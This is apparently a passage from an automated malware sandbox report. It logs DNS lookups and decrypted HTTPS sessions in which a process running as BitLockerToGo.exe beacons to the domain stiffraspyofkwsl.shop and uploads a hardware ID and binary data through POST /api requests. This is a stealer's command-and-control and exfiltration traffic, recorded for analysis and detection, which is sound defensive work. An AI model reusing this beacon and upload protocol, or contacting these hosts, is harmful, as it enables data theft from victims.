May 3, 2024 02:57:34.331485987 CEST	443	49742	172.67.189.159	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 3, 2024 02:57:21.774972916 CEST	54672	53	192.168.2.4	1.1.1.1
May 3, 2024 02:57:21.870480061 CEST	53	54672	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 3, 2024 02:57:21.774972916 CEST	192.168.2.4	1.1.1.1	0xeb6	Standard query (0)	stiffraspyofkwsl.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 3, 2024 02:57:21.870480061 CEST	1.1.1.1	192.168.2.4	0xeb6	No error (0)	stiffraspyofkwsl.shop		172.67.189.159	A (IP address)	IN (0x0001)	false
May 3, 2024 02:57:21.870480061 CEST	1.1.1.1	192.168.2.4	0xeb6	No error (0)	stiffraspyofkwsl.shop		104.21.81.139	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

stiffraspyofkwsl.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49735	172.67.189.159	443	1612	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-03 00:57:22 UTC	268	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: stiffraspyofkwsl.shop
2024-05-03 00:57:22 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-05-03 00:57:22 UTC	804	IN	HTTP/1.1 200 OK Date: Fri, 03 May 2024 00:57:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=j9c4q4a43njbps8g4o5sqr0krp; expires=Mon, 26-Aug-2024 18:44:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G6j4I1nPN5qckO22Z%2FLAX2uk14UfzzNoG8Yx4imwhtrwWtUC0MejQXProYAcp6SV%2B5HvITXChhFxMarPl0l5CxojZNW4dJkirp6s31qBPybWk4wiZxMjjYwQFDSxo1dsNaQJfwZM7Qw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87dc4be9fbb44222-EWR alt-svc: h3=":443"; ma=86400
2024-05-03 00:57:22 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-05-03 00:57:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49736	172.67.189.159	443	1612	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-03 00:57:22 UTC	269	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: stiffraspyofkwsl.shop
2024-05-03 00:57:22 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 51 33 6b 44 53 32 2d 2d 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=Q3kDS2--&j=default
2024-05-03 00:57:23 UTC	804	IN	HTTP/1.1 200 OK Date: Fri, 03 May 2024 00:57:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7oiuefjm54lv3617lpsfn08c61; expires=Mon, 26-Aug-2024 18:44:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W%2B76qI1Sbw4fgnhIXyoRzcLdB5GBe6RL5SGN7bU3mMwpb1dc1cuI9MWOFAAYqD4G3Yvv2pCJga3M8KRavvBZTWbcjt7DZgO2%2F40kPf0cUmCrOZHT7C1qzejk2JTOhMtJt76AK6KwmwY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87dc4bee89e97cf4-EWR alt-svc: h3=":443"; ma=86400
2024-05-03 00:57:23 UTC	565	IN	Data Raw: 33 64 62 34 0d 0a 45 73 57 66 4c 69 70 70 38 58 73 75 5a 77 67 34 2f 4e 6b 64 46 4a 5a 72 59 68 48 48 41 38 74 74 68 71 76 6d 48 68 30 6c 44 37 35 70 7a 35 59 4d 58 45 76 4c 57 78 70 4c 41 6a 48 65 71 6e 67 32 72 45 73 57 59 37 4a 6d 35 32 65 50 69 59 64 36 50 78 38 76 32 48 4f 70 37 45 73 47 59 2f 68 5a 51 78 38 71 41 74 79 43 46 78 33 74 59 57 73 59 35 57 61 6c 54 37 79 4c 78 47 6c 34 52 32 72 47 5a 71 44 78 58 55 4d 47 6e 7a 74 44 41 6e 78 5a 6b 62 68 75 66 37 67 43 44 54 50 72 43 63 4a 6b 70 4d 36 63 50 43 63 46 4c 66 4e 33 73 66 35 6a 53 78 71 61 57 51 4a 74 41 54 48 65 76 47 6b 32 72 45 74 41 54 65 56 7a 71 68 2f 6e 78 70 56 43 50 78 39 30 34 6a 43 73 36 30 74 59 43 49 55 53 51 51 6c 37 5a 4e 37 6a 4b 79 53 6d 57 31 49 68 75 69 48 42 5a 50 75 68 37 Data Ascii: 3db4EsWfLipp8XsuZwg4/NkdFJZrYhHHA8tthqvmHh0lD75pz5YMXEvLWxpLAjHeqng2rEsWY7Jm52ePiYd6Px8v2HOp7EsGY/hZQx8qAtyCFx3tYWsY5WalT7yLxGl4R2rGZqDxXUMGnztDAnxZkbhuf7gCDTPrCcJkpM6cPCcFLfN3sf5jSxqaWQJtATHevGk2rEtATeVzqh/nxpVCPx904jCs60tYCIUSQQl7ZN7jKySmW1IhuiHBZPuh7
2024-05-03 00:57:23 UTC	1369	IN	Data Raw: 4f 43 41 32 64 47 45 45 46 65 46 4b 56 73 48 70 6b 2f 77 41 4e 66 71 56 73 6f 77 44 6e 79 59 4e 32 64 55 68 6e 32 48 32 71 2b 30 78 49 53 39 31 78 4a 32 34 71 58 59 62 37 4a 7a 53 30 4b 67 56 6a 6f 6d 32 2f 54 64 36 4a 37 42 64 67 43 51 61 65 4d 73 2b 57 56 53 42 67 2b 46 6c 4c 43 53 6f 43 33 50 74 33 63 2f 63 4b 43 33 79 6d 61 61 49 64 35 4e 75 43 63 58 70 56 61 39 6c 2b 72 66 35 65 51 67 57 56 47 6b 55 4f 59 31 2b 5a 76 7a 38 34 6e 47 4a 72 4d 36 4a 35 36 56 65 6d 69 61 56 78 64 45 74 6e 79 33 44 6e 6c 53 64 58 52 66 74 79 56 57 30 42 4d 64 36 38 63 7a 61 73 53 30 42 33 70 47 57 6f 43 2b 72 48 67 48 42 35 53 57 44 54 64 71 33 39 53 30 49 44 6d 78 68 42 44 6d 56 61 6d 37 5a 37 63 50 67 49 42 54 50 72 43 63 4a 6b 70 4d 36 63 50 43 63 46 4c 66 4a 33 70 4f Data Ascii: OCA2dGEEFeFKVsHpk/wANfqVsowDnyYN2dUhn2H2q+0xIS91xJ24qXYb7JzS0KgVjom2/Td6J7BdgCQaeMs+WVSBg+FlLCSoC3Pt3c/cKC3ymaaId5NuCcXpVa9l+rf5eQgWVGkUOY1+Zvz84nGJrM6J56VemiaVxdEtny3DnlSdXRftyVW0BMd68czasS0B3pGWoC+rHgHB5SWDTdq39S0IDmxhBDmVam7Z7cPgIBTPrCcJkpM6cPCcFLfJ3pO
2024-05-03 00:57:23 UTC	1369	IN	Data Raw: 6c 42 42 46 44 32 74 55 6b 62 42 7a 63 2b 59 43 44 33 75 71 59 4b 51 43 37 38 32 45 50 44 45 76 42 72 63 77 6f 4f 55 4d 45 45 6e 54 4f 45 45 4b 65 46 6d 50 2b 55 70 31 2b 67 63 48 5a 65 55 4a 77 68 43 71 6f 65 39 6c 46 79 77 47 6e 48 65 72 76 52 51 4b 53 35 49 56 51 41 52 6c 58 4a 53 7a 66 48 66 6d 41 41 39 37 71 6d 69 6f 44 4f 44 49 6a 6d 35 74 52 32 48 4f 66 4b 33 37 51 30 55 48 30 31 63 6b 62 67 45 61 6d 61 4d 2f 4c 72 5a 4a 4b 6e 43 78 59 71 4e 4e 30 63 71 4b 63 6e 68 52 4c 62 51 62 75 4c 4d 6b 49 78 4c 37 63 69 64 46 62 56 62 65 34 7a 30 32 2b 51 67 49 64 62 64 75 70 41 7a 71 78 34 74 35 63 45 39 74 33 48 32 69 2b 55 64 44 43 4a 34 64 58 67 39 71 55 70 75 36 64 58 79 30 52 32 67 59 7a 69 47 75 46 36 53 52 78 6a 78 4f 55 47 61 65 52 61 54 7a 51 6b 38 Data Ascii: lBBFD2tUkbBzc+YCD3uqYKQC782EPDEvBrcwoOUMEEnTOEEKeFmP+Up1+gcHZeUJwhCqoe9lFywGnHervRQKS5IVQARlXJSzfHfmAA97qmioDODIjm5tR2HOfK37Q0UH01ckbgEamaM/LrZJKnCxYqNN0cqKcnhRLbQbuLMkIxL7cidFbVbe4z02+QgIdbdupAzqx4t5cE9t3H2i+UdDCJ4dXg9qUpu6dXy0R2gYziGuF6SRxjxOUGaeRaTzQk8
2024-05-03 00:57:23 UTC	1369	IN	Data Raw: 51 4a 68 57 59 79 70 66 48 4c 36 42 55 41 39 7a 51 72 43 54 2b 50 52 78 43 51 39 42 30 6a 4c 63 37 66 37 54 77 68 6a 2b 41 59 43 62 51 46 44 39 74 41 55 4e 76 4d 46 51 43 76 6e 49 61 6b 42 36 4d 4b 44 64 33 52 44 61 64 78 39 72 50 4e 43 51 51 65 62 46 55 73 58 5a 31 2b 57 73 58 5a 7a 2b 41 51 44 59 61 5a 67 36 55 47 4d 6f 75 38 38 65 46 38 74 68 44 4c 6e 32 6e 39 2f 4b 4e 4e 78 4a 78 6f 6b 4d 76 57 69 46 78 32 66 53 51 64 2f 35 54 6e 72 54 2b 58 42 67 33 4a 37 56 57 50 4f 66 71 44 39 53 6b 41 44 6c 42 56 43 43 33 68 53 6e 37 74 78 65 66 77 41 42 48 4b 68 5a 61 55 49 70 49 66 73 46 78 51 48 61 73 51 77 2f 37 38 4d 59 41 69 4a 41 77 34 72 59 56 71 5a 71 32 6c 74 74 47 46 72 62 4f 73 4a 77 68 61 4d 6f 75 38 38 65 45 73 74 68 44 4c 6e 2b 55 64 43 41 70 41 51 Data Ascii: QJhWYypfHL6BUA9zQrCT+PRxCQ9B0jLc7f7Twhj+AYCbQFD9tAUNvMFQCvnIakB6MKDd3RDadx9rPNCQQebFUsXZ1+WsXZz+AQDYaZg6UGMou88eF8thDLn2n9/KNNxJxokMvWiFx2fSQd/5TnrT+XBg3J7VWPOfqD9SkADlBVCC3hSn7txefwABHKhZaUIpIfsFxQHasQw/78MYAiJAw4rYVqZq2lttGFrbOsJwhaMou88eEsthDLn+UdCApAQ
2024-05-03 00:57:23 UTC	1369	IN	Data Raw: 4f 64 74 33 6c 33 2b 67 6b 4f 63 2b 55 76 77 57 53 50 69 59 4e 6b 50 78 38 76 6e 46 43 73 36 31 6c 4c 47 35 55 65 51 45 55 43 4d 59 48 31 46 78 33 74 59 57 73 59 35 57 61 6c 54 37 79 4c 78 48 4a 74 51 32 7a 63 65 4b 37 78 52 30 41 5a 6c 42 35 48 43 32 52 52 6d 72 64 32 66 66 30 4d 44 48 4b 75 61 4b 77 4c 37 73 2b 4a 50 44 45 76 42 72 63 77 6f 4f 55 4d 45 45 6e 54 4e 55 38 4b 59 52 72 32 30 47 41 34 6e 47 49 5a 47 38 34 4b 36 51 6a 6f 69 64 77 2b 50 30 42 6c 31 48 36 6b 2b 30 64 45 42 35 49 51 53 67 42 69 58 5a 47 38 64 6e 48 30 44 78 4a 30 71 47 69 70 42 4f 33 44 67 48 31 30 42 79 4f 30 47 38 79 39 53 31 42 4c 79 31 73 4d 4e 32 31 4d 6a 72 67 2f 48 70 38 57 54 68 6a 4e 43 72 42 6e 6a 36 4c 45 65 33 4d 48 4e 5a 34 77 71 75 39 4e 54 52 6d 58 46 6b 63 58 59 Data Ascii: Odt3l3+gkOc+UvwWSPiYNkPx8vnFCs61lLG5UeQEUCMYH1Fx3tYWsY5WalT7yLxHJtQ2zceK7xR0AZlB5HC2RRmrd2ff0MDHKuaKwL7s+JPDEvBrcwoOUMEEnTNU8KYRr20GA4nGIZG84K6Qjoidw+P0Bl1H6k+0dEB5IQSgBiXZG8dnH0DxJ0qGipBO3DgH10ByO0G8y9S1BLy1sMN21Mjrg/Hp8WThjNCrBnj6LEe3MHNZ4wqu9NTRmXFkcXY
2024-05-03 00:57:23 UTC	1369	IN	Data Raw: 77 64 66 63 49 43 6d 47 33 62 61 41 48 34 63 57 50 63 6e 6c 56 61 39 4e 35 70 50 35 46 54 77 4f 66 45 30 38 43 4b 68 54 32 30 42 51 32 38 78 46 41 4b 2b 63 68 69 68 6a 30 78 4d 51 55 46 46 67 6a 74 42 75 2b 6c 53 63 6a 53 35 51 56 44 46 30 6f 47 70 61 32 64 33 7a 77 44 67 31 30 6f 32 69 37 42 75 48 48 68 48 68 30 53 47 76 59 63 36 66 76 53 6b 77 44 6b 42 52 42 43 32 6c 65 33 76 55 58 48 5a 39 4a 42 32 76 6c 4f 65 74 50 31 73 53 4b 5a 33 42 41 66 4e 59 77 7a 35 5a 54 42 6d 50 34 41 43 52 75 41 52 71 5a 74 7a 38 75 74 6b 6b 45 66 62 64 71 71 41 54 76 78 34 4e 7a 65 6b 31 74 30 33 53 6b 38 30 64 4a 43 4a 73 55 51 51 74 67 55 35 65 38 63 33 4c 7a 53 55 34 62 7a 67 72 70 43 50 79 4a 33 44 34 2f 62 45 7a 78 58 4b 44 6e 44 43 42 67 6a 46 63 6b 62 6e 4d 79 39 64 Data Ascii: wdfcICmG3baAH4cWPcnlVa9N5pP5FTwOfE08CKhT20BQ28xFAK+chihj0xMQUFFgjtBu+lScjS5QVDF0oGpa2d3zwDg10o2i7BuHHhHh0SGvYc6fvSkwDkBRBC2le3vUXHZ9JB2vlOetP1sSKZ3BAfNYwz5ZTBmP4ACRuARqZtz8utkkEfbdqqATvx4Nzek1t03Sk80dJCJsUQQtgU5e8c3LzSU4bzgrpCPyJ3D4/bEzxXKDnDCBgjFckbnMy9d
2024-05-03 00:57:23 UTC	1369	IN	Data Raw: 47 55 41 62 7a 6e 37 6e 5a 34 2f 51 37 42 63 55 42 32 72 51 4d 50 2b 2f 44 45 34 43 6c 52 35 4b 43 33 68 66 6d 4c 52 77 66 2f 30 4e 43 48 43 6c 5a 61 30 49 34 63 71 49 64 33 68 45 59 74 68 35 71 66 52 44 43 45 58 37 63 69 64 46 62 55 4c 65 34 7a 30 32 31 52 49 44 66 36 67 68 77 57 54 37 68 2b 77 58 5a 69 38 47 74 7a 43 67 38 51 77 51 53 64 4d 56 51 67 42 71 55 4a 69 2f 65 6e 44 2b 44 41 42 34 70 6d 36 74 43 65 44 47 68 48 64 32 52 6d 76 5a 65 71 7a 37 51 55 73 4e 6c 56 6b 43 62 51 45 78 33 72 78 6e 4e 71 78 4c 51 46 4f 2b 62 4b 55 49 70 4b 48 76 59 7a 45 76 42 73 55 59 7a 4a 59 4d 54 77 66 54 51 51 35 46 59 56 61 61 76 48 39 37 39 77 45 46 64 36 39 6b 71 51 66 32 77 59 52 37 62 56 56 74 31 58 57 72 2f 6b 78 4d 44 5a 6f 66 54 77 45 71 46 50 62 51 46 44 62 Data Ascii: GUAbzn7nZ4/Q7BcUB2rQMP+/DE4ClR5KC3hfmLRwf/0NCHClZa0I4cqId3hEYth5qfRDCEX7cidFbULe4z021RIDf6ghwWT7h+wXZi8GtzCg8QwQSdMVQgBqUJi/enD+DAB4pm6tCeDGhHd2RmvZeqz7QUsNlVkCbQEx3rxnNqxLQFO+bKUIpKHvYzEvBsUYzJYMTwfTQQ5FYVaavH979wEFd69kqQf2wYR7bVVt1XWr/kxMDZofTwEqFPbQFDb
2024-05-03 00:57:23 UTC	1369	IN	Data Raw: 2b 63 68 6e 41 7a 71 78 34 4e 71 62 67 70 4b 30 6e 65 6d 36 31 78 66 42 4e 4e 58 4a 47 34 42 47 70 6a 37 4a 7a 53 6e 52 32 67 59 7a 69 47 74 48 71 53 52 78 69 77 74 48 44 69 50 4a 2f 65 76 4a 43 4d 55 33 58 45 6e 48 41 49 78 39 66 74 70 4e 71 78 4c 55 6a 33 4e 43 73 4a 50 39 6f 6e 63 50 6a 38 41 62 73 35 69 6f 66 35 61 53 30 79 74 4a 32 73 54 59 46 32 4f 76 47 68 35 74 45 64 6f 47 4d 34 68 70 6b 2b 38 69 37 30 55 46 43 77 47 6e 48 6d 67 35 6c 31 65 42 6f 4d 65 44 47 30 42 4d 61 48 31 46 78 32 66 53 52 67 7a 2f 53 50 70 4f 75 66 48 69 6e 74 70 56 69 44 37 5a 71 33 36 58 45 38 63 6e 46 6b 43 62 51 45 78 33 72 30 2f 4c 72 5a 61 54 68 76 4f 43 75 6b 4c 39 59 6e 63 50 69 38 56 4e 6f 6b 6a 38 4b 30 65 49 47 43 4d 56 79 52 75 63 7a 4c 31 30 44 39 67 74 46 46 43 Data Ascii: +chnAzqx4NqbgpK0nem61xfBNNXJG4BGpj7JzSnR2gYziGtHqSRxiwtHDiPJ/evJCMU3XEnHAIx9ftpNqxLUj3NCsJP9oncPj8Abs5iof5aS0ytJ2sTYF2OvGh5tEdoGM4hpk+8i70UFCwGnHmg5l1eBoMeDG0BMaH1Fx2fSRgz/SPpOufHintpViD7Zq36XE8cnFkCbQEx3r0/LrZaThvOCukL9YncPi8VNokj8K0eIGCMVyRuczL10D9gtFFC
2024-05-03 00:57:23 UTC	1369	IN	Data Raw: 6f 64 39 6f 61 56 61 6e 4a 58 61 70 42 34 74 76 42 41 43 45 58 52 57 51 41 42 59 56 61 62 76 47 38 35 35 68 6b 4c 66 37 4d 74 72 52 32 6b 68 38 59 38 62 6b 78 69 7a 6e 36 67 73 6c 31 65 42 6f 4d 61 53 51 49 6d 55 6f 2b 32 63 7a 61 36 53 30 42 6d 72 6d 32 76 41 76 47 47 6c 57 70 38 55 57 71 51 65 4c 62 77 51 41 67 30 33 58 45 6e 62 69 70 43 33 75 4d 39 4e 73 45 4b 44 6e 32 69 64 37 68 43 78 4d 4b 49 66 33 4e 47 61 70 77 2b 7a 35 59 6e 43 41 33 54 51 51 35 57 4a 44 4c 31 30 44 39 79 35 55 6c 59 4d 66 55 7a 38 6c 71 33 6e 74 51 75 46 79 78 79 6b 68 6a 4d 35 43 51 6a 59 4e 4d 50 44 46 30 6f 43 4e 44 54 46 42 32 30 47 30 41 72 35 79 48 75 44 50 62 62 67 6e 39 70 52 43 72 69 54 71 62 77 51 77 51 46 6d 42 6c 4c 46 58 78 42 30 72 4e 38 62 4f 34 33 50 6c 69 70 5a Data Ascii: od9oaVanJXapB4tvBACEXRWQABYVabvG855hkLf7MtrR2kh8Y8bkxizn6gsl1eBoMaSQImUo+2cza6S0Bmrm2vAvGGlWp8UWqQeLbwQAg03XEnbipC3uM9NsEKDn2id7hCxMKIf3NGapw+z5YnCA3TQQ5WJDL10D9y5UlYMfUz8lq3ntQuFyxykhjM5CQjYNMPDF0oCNDTFB20G0Ar5yHuDPbbgn9pRCriTqbwQwQFmBlLFXxB0rN8bO43PlipZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49737	172.67.189.159	443	1612	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-03 00:57:23 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18158 Host: stiffraspyofkwsl.shop
2024-05-03 00:57:23 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 38 46 45 35 43 38 31 39 44 35 33 44 30 44 38 35 39 33 30 31 34 34 42 38 43 36 42 43 41 34 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 51 33 6b 44 53 32 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B8FE5C819D53D0D85930144B8C6BCA4A--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Q3kDS2----b
2024-05-03 00:57:23 UTC	2827	OUT	Data Raw: 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f 6c af 16 Data Ascii: MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?l
2024-05-03 00:57:24 UTC	808	IN	HTTP/1.1 200 OK Date: Fri, 03 May 2024 00:57:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1npeo95kijci1lherb1nit0rka; expires=Mon, 26-Aug-2024 18:44:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yz%2BdQNJHQydP7JTD774aiZFwzUyA0n85Q4QoLWwF3jDaXd5rS7%2B7B7vzBbKapDFsEwkZcOjsXvAA79ufnjvplTgBNyZkXhLc6U7K4hr%2FxZHlg5S58McigfpKlBjAS6Tv%2FIaERF4OVGQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87dc4bf2fc247286-EWR alt-svc: h3=":443"; ma=86400
2024-05-03 00:57:24 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 39 31 2e 39 36 2e 32 32 37 2e 32 31 39 0d 0a Data Ascii: 11ok 191.96.227.219
2024-05-03 00:57:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49738	172.67.189.159	443	1612	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-03 00:57:25 UTC	286	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8779 Host: stiffraspyofkwsl.shop
2024-05-03 00:57:25 UTC	8779	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 38 46 45 35 43 38 31 39 44 35 33 44 30 44 38 35 39 33 30 31 34 34 42 38 43 36 42 43 41 34 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 51 33 6b 44 53 32 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B8FE5C819D53D0D85930144B8C6BCA4A--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Q3kDS2----b
2024-05-03 00:57:26 UTC	810	IN	HTTP/1.1 200 OK Date: Fri, 03 May 2024 00:57:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ueh2t9p1au849lutoso0ph6o0d; expires=Mon, 26-Aug-2024 18:44:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Vvcts7Os9O%2FAeAk%2Bs8xMM3TbS5TZK6iaOR4NjJlDvC41XFbq4waTuPDrkHoVxmsCwxONwT9MQv0ZOiZxW3acbn3tzAoTT9A7mbYEp9M9JeV2v%2FPRqA%2FXj2y%2FeOGfWjmt0tsjT6tivUI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87dc4bffcb7a8c15-EWR alt-svc: h3=":443"; ma=86400
2024-05-03 00:57:26 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 39 31 2e 39 36 2e 32 32 37 2e 32 31 39 0d 0a Data Ascii: 11ok 191.96.227.219
2024-05-03 00:57:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49739	172.67.189.159	443	1612	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-03 00:57:26 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20432 Host: stiffraspyofkwsl.shop
